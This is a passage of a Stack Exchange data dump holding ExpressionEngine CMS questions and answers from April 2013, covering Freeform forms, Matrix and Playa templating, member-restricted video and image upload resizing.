  <row Id="9563" PostTypeId="2" ParentId="9562" CreationDate="2013-04-22T12:41:27.067" Score="3" Body="&lt;p&gt;I dont have enough rep to make a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am not sure what you are looking for. The code below is an example how to work with conditionals for Matrix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrixfield}&#xA;&#xA;   {if no_results}&#xA;       No rows available&#xA;   {/if}&#xA;&#xA;   {if '{row_count}' == '1'}&#xA;       &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title} - First row&amp;lt;/a&amp;gt;&#xA;   {/if}&#xA;&#xA;  &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&#xA;   {if '{row_count}' == '{total_rows}'}&#xA;        &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title} - Last row&amp;lt;/a&amp;gt;&#xA;   {/if}&#xA;{/matrixfield}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1350" LastActivityDate="2013-04-22T12:41:27.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9564" PostTypeId="1" CreationDate="2013-04-22T12:43:15.860" Score="2" ViewCount="375" Body="&lt;p&gt;I have always used Freeform for a single form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a new project, I need the user to be able to choose two different organisations in a select field. Depending on the option selected the admin email notification needs to be send to one of two email addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the following code which I made following some of the example documentation on the freeform site, but I am not sure if this is what its meant for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:freeform:form&#xA;   form_id=&quot;1&quot;&#xA;   required=&quot;name|email|message&quot;&#xA;   recipients=&quot;yes&quot;&#xA;   recipient_limit=&quot;2&quot;&#xA;   recipient_template=&quot;admin_notification&quot;&#xA;   recipient1=&quot;Name 1|email@domain1.com&quot;&#xA;   recipient2=&quot;Name 2||email@domain2.com&quot;&quot;&#xA;}&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;select name=&quot;recipient_email&quot; /&amp;gt;&#xA;            {freeform:recipients}&#xA;                &amp;lt;option value=&quot;{freeform:recipient_value}&quot;&amp;gt;&#xA;                    {freeform:recipient_name}&#xA;                &amp;lt;/option&amp;gt;&#xA;            {/freeform:recipients}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Your Name: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Your Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Your Message: &amp;lt;textarea name=&quot;message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; name=&quot;Submit&quot; /&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me if this is the best route, as it doesn't appear to work as I had hoped. Do I remove the email in the control panel for admin notification? or leave an email there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-09-30T12:01:21.630" Title="Freeform used for two different email addresses" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9565" PostTypeId="2" ParentId="9564" CreationDate="2013-04-22T12:51:36.823" Score="3" Body="&lt;p&gt;Your parameters looks correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;select&lt;/strong&gt; part, it should look something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;recipient_email&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value1}&quot;&amp;gt;Sales&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value2}&quot;&amp;gt;Technical Support&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value3}&quot;&amp;gt;Service&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;OR&#xA;&#xA;&amp;lt;select name=&quot;recipient_email&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value1}&quot;&amp;gt;{freeform:recipient_name1}&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value2}&quot;&amp;gt;{freeform:recipient_name2}&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;{freeform:recipient_value3}&quot;&amp;gt;{freeform:recipient_name3}&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_recipient_name1&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_recipient_name1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="1350" LastEditDate="2013-09-30T12:01:21.630" LastActivityDate="2013-09-30T12:01:21.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9566" PostTypeId="2" ParentId="9537" CreationDate="2013-04-22T12:59:06.067" Score="0" Body="&lt;p&gt;I've never used it, but this seems like it might do what you need... &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-access&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-04-22T12:59:06.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9567" PostTypeId="1" AcceptedAnswerId="9574" CreationDate="2013-04-22T13:24:05.233" Score="0" ViewCount="283" Body="&lt;p&gt;I've used DevDemon Channel Videos plugin successful in the past, but this time the videos will need to be &quot;private&quot; so I can't host them on Youtube or Vimeo. I'm trying to brainstorm the best way to set this section up so it's easy for the client to add videos. The videos need to only be accessible to a certain member group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know if I want to host the videos on the site server that I need like 3 different video file types in order to display the video on different browsers (how annoying!). This doesn't sound very client friendly. Not as friendly as using a video service like Youtube that automatically converts video and works in all browsers. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-04-22T15:23:08.970" Title="How to add/display/manage private videos that only a specific member group can access?" Tags="|video|channel-videos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9568" PostTypeId="2" ParentId="9551" CreationDate="2013-04-22T14:19:40.233" Score="1" Body="&lt;p&gt;With Structure, every segment must be a page in the hierarchy. You may be able to do what you're looking for utilizing Freebie though: &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freebie&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-04-22T14:19:40.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9569" PostTypeId="1" AcceptedAnswerId="9581" CreationDate="2013-04-22T14:44:51.197" Score="1" ViewCount="99" Body="&lt;p&gt;Using Profile:Edit, is there a way to create a new member account, without creating the profile channel entry at the same time? I've got a situation where I have profile channel entries already created, but just need to create the member accounts separately on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the {exp:profile:register} tag creates both the member account and the profile channel entry (so I then end up with a duplicate profile channel entry as it already existed previously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering if there's a non-documented parameter I can use to make it create just the member account, or if there's any ideas for an alternative method (SQL, Database class, etc), thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-04-22T17:07:25.410" Title="Creating a new member account (without the accompanying profile channel entry) with Profile:Edit" Tags="|members|profile-edit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9571" PostTypeId="1" AcceptedAnswerId="9577" CreationDate="2013-04-22T15:12:21.840" Score="2" ViewCount="597" Body="&lt;p&gt;In my navigation snippet I have some immutable external links and I just used a standard a tag with a hard-coded href attribute. No problems and it worked nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I figured there was &quot;no trick&quot; to external links, but ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display news which is actually created offsite at our financial reporting service website. I created a news channel with fields for an excerpt, a pubdate and the external url (which stores the URL as an absolute link [http://www...com].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to display the news in my template (code below), I am getting the text of the external URL field displaying as a hyperlink and the title of the article as static text (no link). Also, when I click on the exposed link, the URL that tries to load is &quot;&lt;a href=&quot;http://dev-edrweb.edrtrust.com/%3Ca%20href=&quot; rel=&quot;nofollow&quot;&gt;http://dev-edrweb.edrtrust.com/%3Ca%20href=&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty obvious I don't understand templating and external links. Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code from the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;news-feed&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;news&quot; limit=&quot;5&quot; disable=&quot;pagination&quot;}&#xA;      &amp;lt;li&amp;gt;&#xA;          &amp;lt;h4&amp;gt;&#xA;              &amp;lt;a href=&quot;{full_article_url}&quot; target=&quot;_blank&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/h4&amp;gt;&#xA;          &amp;lt;span class=&quot;news-date&quot;&amp;gt;&#xA;              {publish_date format=&quot;%j %M %y&quot;}&amp;amp;nbsp;|&amp;amp;nbsp;&#xA;          &amp;lt;/span&amp;gt;&#xA;          &amp;lt;span class=&quot;news-summary&quot;&amp;gt;&#xA;              {excerpt}&#xA;          &amp;lt;/span&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1346" LastActivityDate="2015-03-17T14:39:03.410" Title="External Links Stored in Channel" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9572" PostTypeId="2" ParentId="9562" CreationDate="2013-04-22T15:17:21.807" Score="10" Body="&lt;p&gt;Yep, just check to see if the matrix field &lt;code&gt;total_rows&lt;/code&gt; are greater than 0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_matrix_field:total_rows &amp;gt; 0}&#xA;    Matrix field has rows&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-04-22T15:17:21.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9573" PostTypeId="2" ParentId="9567" CreationDate="2013-04-22T15:22:16.067" Score="1" Body="&lt;p&gt;I would just setup a video channel with DevDemon's Channel Video fieldtype so the client can post videos after uploading them to YouTube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the video template just use a conditional to show/hide videos to a certain field group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == &quot;5&quot;}&#xA;   show video &#xA;{if:else}&#xA;   hide video&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-04-22T15:22:16.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9574" PostTypeId="2" ParentId="9567" CreationDate="2013-04-22T15:23:08.970" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have a vimeo plus account, you can set the video as private and only allow the embedding on one site (yours). Pretty sure youtube has similar options (although not tested). This has worked very well for us.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to host videos on site and use HTML5 / Flash playback I recommend &lt;a href=&quot;http://mediaelementjs.com/&quot; rel=&quot;nofollow&quot;&gt;mediaelements.js&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Making the videos accessible to a single member group can be done easily with conditionals like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == &quot;2&quot;}&#xA;display video embed code&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to go vanilla and not use add-ons, a simple text field where client has to enter the video ID on Vimeo is enough. Template can handle the embed code. WIth that setup, you can also combine youtube / vimeo pretty easily by adding another custom field (drop down / radio group / p&amp;amp;T pill) alowing the user to select the service they uploaded the video on.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-04-22T15:23:08.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9575" PostTypeId="1" AcceptedAnswerId="9576" CreationDate="2013-04-22T15:34:32.247" Score="1" ViewCount="299" Body="&lt;p&gt;I am very new to Expression Engine . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a module , i want to know how do i load/run it in the current template .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add some custom javascript to the front end website , and i know that i have to use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE-&gt;cp-&gt;add_to_head('myscript');&#xA;or any other function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i don't know where should i call this function . I tried to call it in the mod.my_module.php in construct function but nothing happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something i am missing ?&lt;/p&gt;&#xA;" OwnerUserId="1361" LastActivityDate="2013-04-22T16:39:34.130" Title="How to load javascript using module" Tags="|module|" AnswerCount="2" CommentCount="0" ClosedDate="2013-04-25T02:56:05.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="9576" PostTypeId="2" ParentId="9575" CreationDate="2013-04-22T15:37:59.117" Score="1" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5697/how-to-load-javascript-file-in-my-module/5699#5699&quot;&gt;the answer I gave here&lt;/a&gt;, and specifically this bit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to output the JS file URL in your templates, create a&#xA;  method in your mod file that outputs&#xA;  &lt;code&gt;URL_THIRD_THEMES.'your_addon/js/file.js'&lt;/code&gt; or something like that. Then&#xA;  use &lt;code&gt;{exp:your_addon:your_method}&lt;/code&gt; to output the URL in the template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head()&lt;/code&gt; only applies to Control Panel pages.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-04-22T15:37:59.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9577" PostTypeId="2" ParentId="9571" CreationDate="2013-04-22T15:45:41.150" Score="4" Body="&lt;p&gt;It sounds like maybe ExpressionEngine is parsing the hyperlink for you. So you are in effect trying to add an anchor element into your href attribute of an exsiting anchor element. Either output {full_article_url} without surrounding it in an  tag or turn off this setting for the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#automatically-turn-urls-and-email-addresses-into-links&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#automatically-turn-urls-and-email-addresses-into-links&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-04-22T15:45:41.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9578" PostTypeId="2" ParentId="9569" CreationDate="2013-04-22T15:51:18.190" Score="3" Body="&lt;p&gt;I think you'll need to just use a Safecracker form to create a regular old member account, and then on the backend use the Profile:Edit utility under the P:E Settings to associate that new member account with the existing P:E entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need this all to happen from the front-end, I'd dig into the P:E utility to see how it works and maybe reuse that code. &lt;/p&gt;&#xA;" OwnerUserId="1290" LastActivityDate="2013-04-22T15:51:18.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9579" PostTypeId="2" ParentId="9519" CreationDate="2013-04-22T16:14:13.137" Score="4" Body="&lt;p&gt;Sean, you may need to add a status parameter to your playa tag like so: {exp:playa:parents channel=&quot;zoo_visitor&quot; status=&quot;not closed&quot;}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoo Visitor uses a custom status per member group and the playa tag will only pull in those with an Open status by default.&lt;/p&gt;&#xA;" OwnerUserId="602" LastEditorUserId="602" LastEditDate="2013-04-22T16:20:26.090" LastActivityDate="2013-04-22T16:20:26.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9580" PostTypeId="2" ParentId="9575" CreationDate="2013-04-22T16:39:34.130" Score="0" Body="&lt;p&gt;You could also take a look a at my Theme Loader class, which does some extra things and makes code a little easier to manage for older versions of EE and various configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Theme-Loader&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Theme-Loader&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-04-22T16:39:34.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9581" PostTypeId="2" ParentId="9569" CreationDate="2013-04-22T17:07:25.410" Score="1" Body="&lt;p&gt;You may be able to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stand-alone-member-register&quot; rel=&quot;nofollow&quot;&gt;Stand-Alone Member Registration&lt;/a&gt; to create the new profiles from the front-end but I'm not sure how in sync you need those to be with your existing Profile:Edit channel entries? That will create the member entries at least.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-22T17:07:25.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9582" PostTypeId="1" CreationDate="2013-04-22T17:25:25.813" Score="1" ViewCount="481" Body="&lt;p&gt;We are having a problem limiting entries correctly.  Our original code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;daily-deals&quot; search:monday-deal=&quot;not IS_EMPTY&quot; parse=&quot;inward&quot; orderby=&quot;random&quot;}&#xA;    {if monday-deal}&#xA;    {exp:playa:children field=&quot;deal-owner&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot; parse=&quot;inward&quot;}&#xA;    {exp:playa:parents channel=&quot;daily-deals&quot;}{monday-deal}{/exp:playa:parents} - {title} - {city},{state-short}&amp;lt;br&amp;gt;&#xA;    {/exp:playa:children}&#xA;    {/if}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above correctly returns the correct entry results (21 total entries) BUT we want to limit the number of results shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we add limit=&quot;6&quot; to the outer entry call as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;daily-deals&quot; search:monday-deal=&quot;not IS_EMPTY&quot; parse=&quot;inward&quot; orderby=&quot;random&quot; limit=&quot;6&quot;}&#xA;{if monday-deal}&#xA;{exp:playa:children field=&quot;deal-owner&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot; parse=&quot;inward&quot;}&#xA;{exp:playa:parents channel=&quot;daily-deals&quot;}{if monday-deal}{monday-deal}{/if}{/exp:playa:parents} - {title} - {city},{state-short}&amp;lt;br&amp;gt;&#xA;{/exp:playa:children}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THIS code returns random number of results from 2-6.  I believe it is because when the outter call starts by limiting to 6 entries - not all of those 6 entries make it past the inner calls - thus a different number of results are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOW do we return all 21 results, but only display 6 of the total results?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-04-23T13:46:43.653" Title="Limit total returned entries - problem" Tags="|playa|low-seg2cat|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9583" PostTypeId="1" CreationDate="2013-04-22T17:26:03.363" Score="0" ViewCount="295" Body="&lt;p&gt;I'm following &lt;a href=&quot;http://www.nainteractive.com/notebook/use-mailtrap.io-to-safely-test-and-debug-email-with-expressionengine&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; for sending email in my local environment for testing my freeform's form, but I'm not using Focus Lab config overrides&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I configured the email settings as in the screenshot, but it doesn't work&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qz5H8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you any idea what the problem is? I'm on Windows 7 and I'm using WAMP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-04-22T17:26:03.363" Title="sending email in local with mailtrap.io" Tags="|email|solspace-freeform|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9584" PostTypeId="2" ParentId="9582" CreationDate="2013-04-22T18:28:26.183" Score="0" Body="&lt;p&gt;I'm not sure if this is directly associated with your problem but just something I notice looking at your code is that you seem to duplicate a lot of the conditional checks. If you're using &lt;code&gt;search:monday-deal=&quot;not IS_EMPTY&lt;/code&gt; then you don't need a conditional check for &lt;code&gt;{if monday-deal}&lt;/code&gt; as you've already checked is has something in it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;daily-deals&quot; search:monday-deal=&quot;not IS_EMPTY&quot; orderby=&quot;random&quot; limit=&quot;6&quot;}&#xA;&#xA;        {exp:playa:children field=&quot;deal-owner&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot;}&#xA;&#xA;            {exp:playa:parents channel=&quot;daily-deals&quot;}&#xA;                {monday-deal}&#xA;            {/exp:playa:parents} - {title} - {city},{state-short}&amp;lt;br&amp;gt;&#xA;&#xA;        {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also stripped out the other conditional around {monday-deal} later on, but I'm not entirely sure, that one may be required. Try it and see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also removed the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; tags as I'm not sure you need those either? What do you get with the above?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-22T18:28:26.183" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9585" PostTypeId="1" CreationDate="2013-04-22T18:37:11.267" Score="1" ViewCount="325" Body="&lt;p&gt;Using Super Search 2.0.7, I want to be able to search on a custom Playa field using the &lt;code&gt;results&lt;/code&gt; template tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    channel       = &quot;entries&quot;&#xA;    keywords      = &quot;something&quot;&#xA;    cf_city       = &quot;Boston&quot;&#xA;    dynamic       = &quot;off&quot;&#xA;}&#xA;    {super_search_total_results}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get this to work perfectly fine using GET params:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search&amp;amp;keywords=something&amp;amp;cf_city=Boston&amp;amp;channel=entries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something to get this functionality working with template tag params?&lt;/p&gt;&#xA;" OwnerUserId="918" LastActivityDate="2013-05-22T19:29:56.947" Title="Search custom Playa fields with Super Search using template parameters" Tags="|playa|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9587" PostTypeId="2" ParentId="9585" CreationDate="2013-04-22T19:27:26.597" Score="2" Body="&lt;p&gt;You need to make sure the field is set to &quot;searchable&quot; in the field settings page but you should be able to get the two working together.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Super Search has limited support for Pixel &amp;amp; Tonic's Playa add-on. You&#xA;  can perform regular searches (excluding exact, ranges, etc) on entry&#xA;  titles within Playa fields, as long as the field(s) are set to&#xA;  searchable in the custom fields' settings. This means that you are be&#xA;  able to perform direct searches on Playa fields, as well as keyword&#xA;  searches that include Playa field searching.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-22T19:27:26.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9588" PostTypeId="1" AcceptedAnswerId="9589" CreationDate="2013-04-22T20:18:12.960" Score="0" ViewCount="40" Body="&lt;p&gt;I wonder where the {field:register_member} can be translated? &#xA;I've looked through the Store lang file, but it does not seam to be translatable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have store 1.6.3 and EE 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-04-22T20:36:31.633" Title="{field:register_member}" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9589" PostTypeId="2" ParentId="9588" CreationDate="2013-04-22T20:36:31.633" Score="1" Body="&lt;p&gt;I'm not sure if it needs to be translated. All it does is output a hidden field to a page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;register_member&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the user wont actually see it anyway.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-22T20:36:31.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9590" PostTypeId="1" AcceptedAnswerId="10194" CreationDate="2013-04-22T20:45:56.353" Score="0" ViewCount="269" Body="&lt;p&gt;Assets isn't resizing my too-large files as it should per the Upload Destination's maximum dimensions (reference &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#maximum-image-width&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). I have this for an upload destination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Upload Destination: General Images&#xA;Maximum Image Width (in pixels): 1600&#xA;Maximum Image Height (in pixels): 1600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet I am able to upload an image with the dimensions 3264 x 2448 and it does not resize it. This used to work just fine, and I've left it alone for a while, so it was a surprise that it's now not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Incidentally, the reason I noticed it is because it caused a CE Image error. But that's a topic for another post.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I am using ExpressionEngine 2.5.3, Assets 2.1, and CE Image 2.4.3. Local image storage (not S3). Also, my intention with the image resizing on upload was only to shrink files that are way too large to a manageable size (1600 px max in either dimension). Then the actual page-by-page image sizing would be handled by CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt; I made a standalone phpinfo file and checked it. GD Support is &quot;enabled&quot;, and GD Version is &quot;bundled (2.0.34 compatible)&quot;.&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2013-04-23T18:17:36.683" LastActivityDate="2013-05-08T20:03:44.150" Title="Assets not shrinking too-large files" Tags="|assets|image|ce-image|uploads|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9591" PostTypeId="1" AcceptedAnswerId="9593" CreationDate="2013-04-22T20:46:23.710" Score="1" ViewCount="198" Body="&lt;p&gt;In short: I need to display embedded templates based on whether they are selected by checkbox on the publish page, but my code doesn't work if more than 1 is checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the code below to check for whether a checkbox was checked and display the template if it was. This works, unless more than one is checked off, then none display because the statement no longer validates as true. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one full-page template shared by 2 pages. I have one page that requires Rides, and the other requires all 3 templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name of my checkbox field is choose_entries, and the options are &quot;Rides&quot; &quot;Gear&quot; &quot;Groups&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; 